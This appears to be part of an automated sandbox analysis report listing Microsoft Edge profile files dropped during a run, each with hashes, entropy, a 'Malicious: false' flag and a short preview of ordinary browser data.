Preview:	2024/11/28-11:24:32.492 23d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/28-11:24:32.503 23d8 Recovering log #3.2024/11/28-11:24:32.516 23d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21917635620654863
Encrypted:	false
SSDEEP:	3:6b9tFlljq7A/mhWJFuQ3yy7IOWURclwtdweytllrE9SFcTp4AGbNCV9RUICrcn:6bG75fOElQd0Xi99pEY6cn
MD5:	49EB1109E085020C473B7DB4B3BCDB1F
SHA1:	BE4556C540BAB09E39AA0A9377D1642BF9E27985
SHA-256:	28342E7E4CDD4A86CC9A57CE9488F8DB029B28B52A7F6C1A8AC52E2F83E815FF
SHA-512:	F407C8113C07F66E18F720D7E8DEB879A4AA9AF478A050F98DDA4FAFB687EE918B9B280D91513B6593206894246E764240D6FEE8F586818EBCCC8A1A2A6D5297
Malicious:	false
Preview:	.............SN9...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.918913709972632
Encrypted:	false
SSDEEP:	384:jj9P0ccAjlxQkQerPP/Kbtuhw773pL8gam6ISRKToaAu:jd2Klxe2PP/7O7BCRKcC
MD5:	61A58DEB0CB50612E595C90EE96CBF21
SHA1:	DF4C7C23DADF0B05D3561A5F3BEE8A7EC8B1B0CF
SHA-256:	2F096C78552833E54AF188D798080861FC57EBA80EB9379DA864EFD5031928E0
SHA-512:	B5E0AD88C159C57481405A3A37B7148E8C30837449E285122E5A1B857806B7A12B7C3F416E37D0050459A205D9845D438E236CC35C57D55BE07D1DC7A8490F67
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.287609593483285
Encrypted:	false
SSDEEP:	12:NjXvVaYeb8rcHEZrELFUt8Yj6/+YjG5OaYeb8rcHEZrEZSJ:V/VaYeb8nZrExg848QOaYeb8nZrEZe
MD5:	07528FEA67AE15629557C3699974EA63
SHA1:	68B34070C702A012B95A5A72EBC7FB0B1CE4FE26
SHA-256:	F15F4A2083BA8442FF57675EDD53E77B5876A82A1206C5DD42FB2B502470A18B
SHA-512:	275F10E9A8FC4FE7CAD3F00D63650E6A5ED5A407AC7FBEE678AC039F853E99C02DD0189EA281A086BAD4BA4372C546BF66062DCE34D85A9B4E48E013AE1B67F4
Malicious:	false
Preview:	2024/11/28-11:24:36.097 23d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/28-11:24:36.097 23d8 Recovering log #3.2024/11/28-11:24:36.097 23d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.287609593483285
Encrypted:	false
SSDEEP:	12:NjXvVaYeb8rcHEZrELFUt8Yj6/+YjG5OaYeb8rcHEZrEZSJ:V/VaYeb8nZrExg848QOaYeb8nZrEZe
MD5:	07528FEA67AE15629557C3699974EA63
SHA1:	68B34070C702A012B95A5A72EBC7FB0B1CE4FE26
SHA-256:	F15F4A2083BA8442FF57675EDD53E77B5876A82A1206C5DD42FB2B502470A18B
SHA-512:	275F10E9A8FC4FE7CAD3F00D63650E6A5ED5A407AC7FBEE678AC039F853E99C02DD0189EA281A086BAD4BA4372C546BF66062DCE34D85A9B4E48E013AE1B67F4
Malicious:	false
Preview:	2024/11/28-11:24:36.097 23d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/28-11:24:36.097 23d8 Recovering log #3.2024/11/28-11:24:36.097 23d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Public Key Version 4
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	5.6853289464602215
Encrypted:	false
SSDEEP:	24:i8ZW/D9lTjvXvG3FlourXZ12W2sFV03y1x4iT0My3WaHUlHBNcgFHHmb2cytXo1:BZGDjTjv/UourXZ1F2iV03Sx4Eny3LHx
MD5:	2D18B73ADE83B733F0AF5689F697AF73
SHA1:	8A8DE8EFED1770350546EA140463FEB3E4CC626F
SHA-256:	5B46E07C6A3F36CC3D011207F439A475E95567822CF7E40A9E2580FA76063112
SHA-512:	58D1601949A3BBA6C4C27A67B371353AD74A93E0EC67E76C30B6B7B8C4877F235564E89358C4826490951CBEBC1A8D2F9159C944C82A261F4AB557F275BCDF0E
Malicious:	false
Preview:	..az.................VERSION.1..META:https://ntp.msn.com............!_https://ntp.msn.com..LastKnownPV..1732811086936.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732811088007.._https://ntp.msn.com..MUID!.1066DAF9585D62E900DBCFBC59D76315.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732811087037,"schedule":[-1,-1,-1,30,-1,29,33],"scheduleFixed":[-1,-1,-1,30,-1,29,33],"simpleSchedule":[15,46,43,37,35,13,28]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732811086881.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Thu Nov 28 2024 11:24:46 GMT-0500 (Eastern Standa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.09955811423787
Encrypted:	false
SSDEEP:	6:HphWxq2PN723oH+Tcwt8a2jMGIFUt8YphQm8Zmw+YphQrFzkwON723oH+Tcwt8as:JAxvVaYeb8EFUt8cp8/+c2z5OaYeb8bJ
MD5:	F002EA8482039E8CD52F8E4752D017DC
SHA1:	C0C059760FF12BAEC23CCB00224734E823748F65
SHA-256:	D5A8C2C57091C0DA59F1B87E0CFF77F9286AC8199414A652B068A36D518C31D4
SHA-512:	A4496D0D47A832C4AD5542289F5C6D93CEBC1E94B17E6DA7EC806259469D58BFBEE248020106C630D9023E5C2194D90B44E9990BEE570B1D08096F0E540A4C4A
Malicious:	false
Preview:	2024/11/28-11:24:32.038 2104 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/28-11:24:32.051 2104 Recovering log #3.2024/11/28-11:24:32.055 2104 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.09955811423787
Encrypted:	false
SSDEEP:	6:HphWxq2PN723oH+Tcwt8a2jMGIFUt8YphQm8Zmw+YphQrFzkwON723oH+Tcwt8as:JAxvVaYeb8EFUt8cp8/+c2z5OaYeb8bJ
MD5:	F002EA8482039E8CD52F8E4752D017DC
SHA1:	C0C059760FF12BAEC23CCB00224734E823748F65
SHA-256:	D5A8C2C57091C0DA59F1B87E0CFF77F9286AC8199414A652B068A36D518C31D4
SHA-512:	A4496D0D47A832C4AD5542289F5C6D93CEBC1E94B17E6DA7EC806259469D58BFBEE248020106C630D9023E5C2194D90B44E9990BEE570B1D08096F0E540A4C4A
Malicious:	false
Preview:	2024/11/28-11:24:32.038 2104 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/28-11:24:32.051 2104 Recovering log #3.2024/11/28-11:24:32.055 2104 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\864a237d-2309-4dbf-baf4-384d1784abc9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9f1c3b3f-5b48-4405-8814-e0cd68647767.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.777962682485894
Encrypted:	false
SSDEEP:	192:tToQENmo/SW4aIwwESoFEXKV0SXcf0L/ZJVb:VoQEN22IwvSoF0WXI0LhJVb
MD5:	E1D5A911A955F3C33A4FF10E3EFF05E0
SHA1:	C8DE99F47DD589AB9EB6898EFB56FCDFE21B77EE
SHA-256:	879B86193CF962B6FA0EC30B93FC55EAC38542DD7BADAE834600F681EB4366C2
SHA-512:	9139FE840D46101086834592CD0BFE2A64A4FAE04409A4302BDA746F687693E87EF6B00891ECFEC089C9855170BA533146A23B96E98D26CB7AA38637C3F15A31
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1484
Entropy (8bit):	5.309138034189491
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3Rds8tQiZVMdmw6C1E6maPsRds8lZFRudFGRRdsFlZC52HMVtQY5:YcCpfgCzs0QWuakEsUfcKsFzCgHMVyY5
MD5:	098AC40039F7295DA7B1E7EE07C6F9BB
SHA1:	36A5B522A366D7839BD7DC448AEBB5E47EBD9932
SHA-256:	E0CBB2959FE186A0B38570AF9CCA5DF6EBC8C3382CC1BC70DEF8515A2824D116
SHA-512:	76721487886292F92161CDF44FEE33FC4ECFC8E5730A13D5E3CA4DAA25492BD7764DD2F747F8E4A00C721E097761407224E384A88492B04C0784C1FFE4393C88
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379876675884664","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379876712799034","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW5

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3795813103500292
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB5b:JkIEumQv8m1ccnvS66w1+lGFh5hoaw1a
MD5:	44E301FC0DCDF947257B15481684EF04
SHA1:	18A3EBB11328087CF24759846331AC4AFB13F219
SHA-256:	2FF375309ED95DB31D5EADD6389BF82809F8F6F3D800F4021B0D0F3F449E4416
SHA-512:	4D98B53FE87443C1A97FB5649ACFC6FE18C95ABB9CA1D96603D40882B4E594B21658575E97D69079C4889F73BB1B39B5F37AAF2EB93CCB45B0745882E2FA1AAA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b94e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF43d53.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF44c57.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a6ff19cf-33c4-40db-ae23-350db8656640.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b4a001b4-10d7-4a61-a2f3-53911897461a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c6bec959-c5a2-4426-b4a6-988c764e3531.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1484
Entropy (8bit):	5.309138034189491
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3Rds8tQiZVMdmw6C1E6maPsRds8lZFRudFGRRdsFlZC52HMVtQY5:YcCpfgCzs0QWuakEsUfcKsFzCgHMVyY5
MD5:	098AC40039F7295DA7B1E7EE07C6F9BB
SHA1:	36A5B522A366D7839BD7DC448AEBB5E47EBD9932
SHA-256:	E0CBB2959FE186A0B38570AF9CCA5DF6EBC8C3382CC1BC70DEF8515A2824D116
SHA-512:	76721487886292F92161CDF44FEE33FC4ECFC8E5730A13D5E3CA4DAA25492BD7764DD2F747F8E4A00C721E097761407224E384A88492B04C0784C1FFE4393C88
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379876675884664","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379876712799034","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW5

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d6b34a65-3147-461b-a7aa-8d806f067302.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.107686290918282
Encrypted:	false
SSDEEP:	192:stKkdpmVs6LgaFvrE9kjpD8UbV+FpCQA3UUPIYJ:stKQOs60CDZbGEQds
MD5:	CFE91804D6389E8D7095D035066EDE44
SHA1:	B22323B715E58C1CBDF73D21997BE203D615C709
SHA-256:	6A280A21F76A2ECFE57E363BC65317E31BD19B4F90875BBEE0DED756D0AEAA46
SHA-512:	1F3753E0D7847AE5988099C3B2114C7C13FB3F356FA7FF0404BB1BD637B0B782820F1231CC703D3F8F60B4BDCAC5DF1A240772CACC04FEE2BD3D7D75D10C4112
Malicious:	false
